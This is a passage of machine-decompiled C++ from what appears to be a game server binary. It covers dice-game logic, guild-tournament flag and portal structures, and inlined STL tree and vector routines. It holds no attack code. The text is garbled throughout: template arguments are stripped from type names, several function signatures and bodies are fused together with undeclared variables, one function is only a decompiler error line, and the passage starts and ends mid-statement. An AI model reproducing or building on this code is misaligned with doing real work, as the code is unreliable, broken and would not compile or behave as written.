0; this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction = 0; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis = 0; } //----- (00458520) -------------------------------------------------------- void __thiscall DiceGame::DiceThrow(DiceGame *this, unsigned int GameUser) { DiceGame *v2; // esi@1 signed __int16 v3; // ax@7 unsigned int v4; // ecx@7 int v5; // eax@7 int v6; // edx@8 signed __int16 v7; // ax@12 unsigned int v8; // ecx@12 int v9; // eax@12 signed int v10; // [sp-4h] [bp-8h]@17 v2 = this; if ( !TickTimer::IsEnable(&this->m_nDelayTic) ) { if ( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis || v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(_DWORD, _DWORD))v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis, 6995); return; } if ( v2->m_RedPlayerNumber == GameUser ) { if ( !v2->m_RedDiceResult ) { v3 = RandomBox::rb_1000(&rndbox); v4 = v2->m_BlueDiceResult; v5 = (unsigned __int16)v3 % 6 + 1; v2->m_RedDiceResult = v5; if ( v5 == v4 ) { do { v6 = RandomBox::rb_1000(&rndbox) % 6 + 1; v2->m_RedDiceResult = v6; } while ( v6 == v2->m_BlueDiceResult ); } DiceGame::Send_DiceThrowResult(v2, v2->m_RedPlayerNumber, v2->m_RedDiceResult); goto LABEL_22; } LABEL_15: if ( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis || v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction ) { v10 = 6990; LABEL_21: ((void (__thiscall *)(_DWORD, _DWORD))v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis, v10); goto LABEL_22; } goto LABEL_22; } if ( v2->m_BluePlayerNumber == GameUser ) { if ( !v2->m_BlueDiceResult ) { v7 = RandomBox::rb_1000(&rndbox); v8 = v2->m_RedDiceResult; v9 = (unsigned __int16)v7 % 6 + 1; v2->m_BlueDiceResult = v9; if ( v8 == v9 ) { do v2->m_BlueDiceResult = RandomBox::rb_1000(&rndbox) % 6 + 1; while ( v2->m_RedDiceResult == v2->m_BlueDiceResult ); } DiceGame::Send_DiceThrowResult(v2, v2->m_BluePlayerNumber, v2->m_BlueDiceResult); goto LABEL_22; } goto LABEL_15; } if ( v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis || v2->m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction ) { v10 = 6988; goto LABEL_21; } LABEL_22: if ( v2->m_BlueDiceResult && v2->m_RedDiceResult ) DiceGame::End(v2); } //----- (00458660) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this) { this->_Myres = 15; this->_Mysize = 0; this->_Bx._Buf[0] = 0; } //----- (00458680) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::find(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, const unsigned int *_Keyval) { std::_Tree_nod,std::allocator >,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator >,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator >,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.first >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval.first ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (004586F0) -------------------------------------------------------- bool __thiscall std::less_std::allocator>>::operator__(std::less,std::allocator > > *this, std::basic_string,std::allocator > *_Left, std::basic_string,std::allocator > *_Right) { const char *v3; // eax@2 if ( _Right->_Myres < 0x10 ) v3 = (const char *)&_Right->_Bx; else v3 = *(const char **)&_Right->_Bx._Buf[0]; return std::basic_string_std::allocator>::compare( _Left, 0, _Left->_Mysize, v3, _Right->_Mysize) < 0; } //----- (00458730) -------------------------------------------------------- unsigned __int16 *__thiscall std::vector>::_Ufill(std::vector > *this, unsigned __int16 *_Ptr, unsigned int _Count, const unsigned __int16 *_Val) { unsigned __int16 *v4; // eax@1 unsigned int v5; // ecx@2 v4 = _Ptr; if ( _Count ) { v5 = _Count; do { *v4 = *_Val; ++v4; --v5; } while ( v5 ); } return &_Ptr[_Count]; } //----- (00458760) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval) { std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent; _Wherenode = (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Isnil ) { v4 = _Keyval->_Mysize; v5 = (char *)&_Keyval->_Bx; v14 = _Keyval->_Myres; for ( _Keyvala = (char *)&_Keyval->_Bx; ; v5 = _Keyvala ) { if ( v14 < 0x10 ) v6 = v5; else v6 = *(const char **)v5; v7 = v3->_Myval.first._Mysize; if ( !v7 ) goto LABEL_23; v8 = v3->_Myval.first._Mysize; if ( v7 >= v4 ) v8 = v4; v9 = (const char *)(v3->_Myval.first._Myres < 0x10 ? &v3->_Myval.first._Bx : *(_DWORD *)&v3->_Myval.first._Bx._Buf[0]); v10 = strncmp(v9, v6, v8); v12 = 0; v11 = v10 < 0; if ( !v10 ) { LABEL_23: if ( v7 < v4 ) goto LABEL_17; v12 = 0; v11 = (v7 != v4) < 0; } if ( v11 ^ v12 ) { LABEL_17: v3 = v3->_Right; goto LABEL_19; } _Wherenode = v3; v3 = v3->_Left; LABEL_19: if ( v3->_Isnil ) return _Wherenode; } } return result; } //----- (00458820) -------------------------------------------------------- void __thiscall std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Myval.first._Myres >= 0x10 ) operator delete(*(void **)&this->_Myval.first._Bx._Buf[0]); v1->_Myval.first._Myres = 15; v1->_Myval.first._Mysize = 0; v1->_Myval.first._Bx._Buf[0] = 0; } //----- (00458850) -------------------------------------------------------- std::vector >::iterator *__cdecl std::_Upper_bound>::iterator_GuildTournamentSystem::GuildMemberInfo_int_bool____cdecl____GuildTournamentSystem::GuildMemberInfo_const___GuildTournamentSystem::GuildMemberInfo_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo *_Val, bool (__cdecl *_Pred)(GuildTournamentSystem::GuildMemberInfo *, GuildTournamentSystem::GuildMemberInfo *), int *__formal) { std::vector >::iterator v6; // ebp@1 signed int v7; // edx@1 signed int v8; // ebx@1 std::vector >::iterator *v9; // eax@6 v6 = _First; v7 = (signed int)(*(_DWORD *)&_Last - *(_DWORD *)&_First + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Last - *(_DWORD *)&_First)) >> 32)) >> 4; v8 = v7 + ((unsigned int)v7 >> 31); while ( v8 > 0 ) { if ( _Pred(_Val, (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&v6 + 28 * v8 / 2)) ) { v8 /= 2; } else { *(_DWORD *)&v6 += 28 * v8 / 2 + 28; v8 += -1 - v8 / 2; } } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v9; } //----- (004588C0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(TOURNAMENT_PLAYER_SCORE *_First, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x28u); v6 = (char *)v6 + 40; --v5; } while ( v5 ); } } //----- (004588F0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::PortalInfo::_PortalInfo(GuildTournamentSystem::PortalInfo *this) { GuildTournamentSystem::PortalInfo *v1; // esi@1 v1 = this; if ( this->m_strNormalType._Myres >= 0x10 ) operator delete(*(void **)&this->m_strNormalType._Bx._Buf[0]); v1->m_strNormalType._Myres = 15; v1->m_strNormalType._Mysize = 0; v1->m_strNormalType._Bx._Buf[0] = 0; if ( v1->m_strBType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strBType._Bx._Buf[0]); v1->m_strBType._Myres = 15; v1->m_strBType._Mysize = 0; v1->m_strBType._Bx._Buf[0] = 0; if ( v1->m_strAType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strAType._Bx._Buf[0]); v1->m_strAType._Mysize = 0; v1->m_strAType._Myres = 15; v1->m_strAType._Bx._Buf[0] = 0; } //----- (00458960) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this) { GuildTournamentSystem::FlagInfo *v1; // esi@1 v1 = this; this->m_strFlagAType._Myres = 15; this->m_strFlagAType._Mysize = 0; this->m_strFlagAType._Bx._Buf[0] = 0; this->m_strFlagBType._Myres = 15; this->m_strFlagBType._Mysize = 0; this->m_strFlagBType._Bx._Buf[0] = 0; this->m_strFlagNormalType._Myres = 15; this->m_strFlagNormalType._Mysize = 0; this->m_strFlagNormalType._Bx._Buf[0] = 0; TickTimer::TickTimer(&this->m_FlagScoreTimer); v1->m_PortalInfo.m_strAType._Myres = 15; v1->m_PortalInfo.m_strAType._Mysize = 0; v1->m_PortalInfo.m_strAType._Bx._Buf[0] = 0; v1->m_PortalInfo.m_strBType._Myres = 15; v1->m_PortalInfo.m_strBType._Mysize = 0; v1->m_PortalInfo.m_strBType._Bx._Buf[0] = 0; v1->m_PortalInfo.m_strNormalType._Myres = 15; v1->m_PortalInfo.m_strNormalType._Mysize = 0; v1->m_PortalInfo.m_strNormalType._Bx._Buf[0] = 0; } //----- (00458A00) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::_FlagInfo(GuildTournamentSystem::FlagInfo *this) { GuildTournamentSystem::FlagInfo *v1; // esi@1 v1 = this; GuildTournamentSystem::PortalInfo::_PortalInfo(&this->m_PortalInfo); if ( v1->m_strFlagNormalType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strFlagNormalType._Bx._Buf[0]); v1->m_strFlagNormalType._Myres = 15; v1->m_strFlagNormalType._Mysize = 0; v1->m_strFlagNormalType._Bx._Buf[0] = 0; if ( v1->m_strFlagBType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strFlagBType._Bx._Buf[0]); v1->m_strFlagBType._Myres = 15; v1->m_strFlagBType._Mysize = 0; v1->m_strFlagBType._Bx._Buf[0] = 0; if ( v1->m_strFlagAType._Myres >= 0x10 ) operator delete(*(void **)&v1->m_strFlagAType._Bx._Buf[0]); v1->m_strFlagAType._Mysize = 0; v1->m_strFlagAType._Myres = 15; v1->m_strFlagAType._Bx._Buf[0] = 0; } //----- (00458A70) -------------------------------------------------------- void __thiscall GuildTournamentSystem::Gate::_Gate(GuildTournamentSystem::Gate *this) { GuildTournamentSystem::Gate *v1; // esi@1 v1 = this; if ( this->strUseGateName._Myres >= 0x10 ) operator delete(*(void **)&this->strUseGateName._Bx._Buf[0]); v1->strUseGateName._Myres = 15; v1->strUseGateName._Mysize = 0; v1->strUseGateName._Bx._Buf[0] = 0; if ( v1->strunUseGateName._Myres >= 0x10 ) operator delete(*(void **)&v1->strunUseGateName._Bx._Buf[0]); v1->strunUseGateName._Mysize = 0; v1->strunUseGateName._Myres = 15; v1->strunUseGateName._Bx._Buf[0] = 0; } //----- (00458AC0) -------------------------------------------------------- #error "458AC0: undefined or illegal type '#325' (funcsize=10)" //----- (00458AE0) -------------------------------------------------------- void __thiscall DiceGame::Update(DiceGame *this, int nTick) { DiceGame *v2; // esi@1 TickTimer *v3; // edi@1 void *v4; // edi@5 char *v5; // eax@7 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@7 int v7; // [sp+1Ch] [bp-4h]@7 v2 = this; v3 = &this->m_nDelayTic; if ( TickTimer::IsEnable(&this->m_nDelayTic) ) { if ( TickTimer::CheckUpdateEvent(v3, nTick) ) { DiceGame::DiceThrow(v2, v2->m_RedPlayerNumber); DiceGame::DiceThrow(v2, v2->m_BluePlayerNumber); TickTimer::Enable(v3, 0); } if ( TickTimer::CheckUpdateEvent(&v2->m_NotifyOfEndTimer, nTick) ) { v4 = (void *)ShineObjectManager::som_FindPlayer(&shineobjmanager, v2->m_RedPlayerNumber); if ( v4 || (v4 = (void *)ShineObjectManager::som_FindPlayer(&shineobjmanager, v2->m_BluePlayerNumber)) != 0 ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29910; *(_DWORD *)(v5 + 2) = 5; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v7 = 0; ShineObjectClass::ShineObject::so_AllInMap(v4, (int)&alchat, 1); TickTimer::Enable(&v2->m_NotifyOfEndTimer, 0); v7 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } } } //----- (00458BE0) -------------------------------------------------------- TickTimer *__thiscall std::vector>::_Ufill(std::vector > *this, TickTimer *_Ptr, unsigned int _Count, TickTimer *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00458C10) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::GuildMemberInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00458C40) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::find(...) { std::basic_string,std::allocator > *v3; // edi@1 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound( this, _Keyval); _Keyvala = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Myval.first._Mysize, v5->_Myval.first._Myres < 0x10) ? (v7 = (const char *)&v5->_Myval.first._Bx) : (v7 = *(const char **)&v5->_Myval.first._Bx._Buf[0]), std::basic_string_std::allocator>::compare(v3, 0, v3->_Mysize, v7, v6) < 0) ) { v8 = result; *result = *((_DWORD *)v4 + 1); } else { v8 = result; *result = _Keyvala; } return v8; } //----- (00458CB0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where) { GuildTournamentSystem::GuildMemberInfo *v3; // ebx@1 int v4; // eax@1 std::vector >::iterator v5; // edx@2 const void *v6; // esi@3 void *v7; // edi@3 std::vector >::iterator *v8; // eax@4 v3 = this->_Mylast; v4 = *(_DWORD *)&_Where + 28; if ( (GuildTournamentSystem::GuildMemberInfo *)(*(_DWORD *)&_Where + 28) != v3 ) { v5 = _Where; do { v6 = (const void *)v4; v7 = (void *)v5; v4 += 28; *(_DWORD *)&v5 += 28; memcpy(v7, v6, 0x1Cu); } while ( (GuildTournamentSystem::GuildMemberInfo *)v4 != v3 ); } --this->_Mylast; v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v8; } //----- (00458D00) -------------------------------------------------------- TOURNAMENT_PLAYER_SCORE *__thiscall std::vector>::_Ufill(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Ptr, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00458D30) -------------------------------------------------------- void __thiscall GuildTournamentSystem::Gate::Gate(GuildTournamentSystem::Gate *this, GuildTournamentSystem::Gate *__that) { GuildTournamentSystem::Gate *v2; // esi@1 char *v3; // ecx@1 v2 = this; this->bIsUse = __that->bIsUse; this->hFlagNumber = __that->hFlagNumber; v3 = (char *)&this->strunUseGateName; v2->hGateNumber = __that->hGateNumber; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, &__that->strunUseGateName, 0, 0xFFFFFFFFu); v2->strUseGateName._Myres = 15; v2->strUseGateName._Mysize = 0; v2->strUseGateName._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->strUseGateName, &__that->strUseGateName, 0, 0xFFFFFFFFu); } //----- (00458DC0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::PortalInfo::PortalInfo(GuildTournamentSystem::PortalInfo *this, GuildTournamentSystem::PortalInfo *__that) { GuildTournamentSystem::PortalInfo *v2; // esi@1 char *v3; // ecx@1 v2 = this; v3 = (char *)&this->m_strAType; v2->m_Handle = __that->m_Handle; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, &__that->m_strAType, 0, 0xFFFFFFFFu); v2->m_strBType._Myres = 15; v2->m_strBType._Mysize = 0; v2->m_strBType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strBType, &__that->m_strBType, 0, 0xFFFFFFFFu); v2->m_strNormalType._Myres = 15; v2->m_strNormalType._Mysize = 0; v2->m_strNormalType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strNormalType, &__that->m_strNormalType, 0, 0xFFFFFFFFu); } //----- (00458E60) -------------------------------------------------------- void __cdecl std::_Construct(GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { if ( _Ptr ) { *(_QWORD *)&_Ptr->mapName.n3_name[0] = *(_QWORD *)&_Val->mapName.n3_name[0]; *(_DWORD *)&_Ptr->mapName.n3_name[8] = *(_DWORD *)&_Val->mapName.n3_name[8]; _Ptr->strGroupName._Myres = 15; _Ptr->strGroupName._Mysize = 0; _Ptr->strGroupName._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &_Ptr->strGroupName, &_Val->strGroupName, 0, 0xFFFFFFFFu); _Ptr->AdvanIndex = _Val->AdvanIndex; } } //----- (00458EE0) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00458F50) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::_Insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+60h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00459100) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00459170) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::FlagInfo(GuildTournamentSystem::FlagInfo *this, GuildTournamentSystem::FlagInfo *__that) { GuildTournamentSystem::FlagInfo *v2; // esi@1 char *v3; // ecx@1 v2 = this; this->m_GuildNumber = __that->m_GuildNumber; this->m_ObjectNumber = __that->m_ObjectNumber; v3 = (char *)&this->m_strFlagAType; *((_DWORD *)v3 + 6) = 15; *((_DWORD *)v3 + 5) = 0; v3[4] = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)v3, &__that->m_strFlagAType, 0, 0xFFFFFFFFu); v2->m_strFlagBType._Myres = 15; v2->m_strFlagBType._Mysize = 0; v2->m_strFlagBType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strFlagBType, &__that->m_strFlagBType, 0, 0xFFFFFFFFu); v2->m_strFlagNormalType._Myres = 15; v2->m_strFlagNormalType._Mysize = 0; v2->m_strFlagNormalType._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &v2->m_strFlagNormalType, &__that->m_strFlagNormalType, 0, 0xFFFFFFFFu); v2->m_FlagScoreTimer.m_CurDelayTime = __that->m_FlagScoreTimer.m_CurDelayTime; v2->m_FlagScoreTimer.m_DelayTime = __that->m_FlagScoreTimer.m_DelayTime; *(_DWORD *)&v2->m_FlagScoreTimer.m_bEnable = *(_DWORD *)&__that->m_FlagScoreTimer.m_bEnable; GuildTournamentSystem::PortalInfo::PortalInfo(&v2->m_PortalInfo, &__that->m_PortalInfo); } //----- (00459240) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where) { std::_Tree,std::allocator >,0> > *v3; // ebp@1 std::_Tree,std::allocator >,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,0> >::iterator v5; // edi@5 std::_Tree,std::allocator >,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,0> >::iterator _Erasednode; // [sp+0h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v22; // [sp+50h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_1>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,0> >::iterator 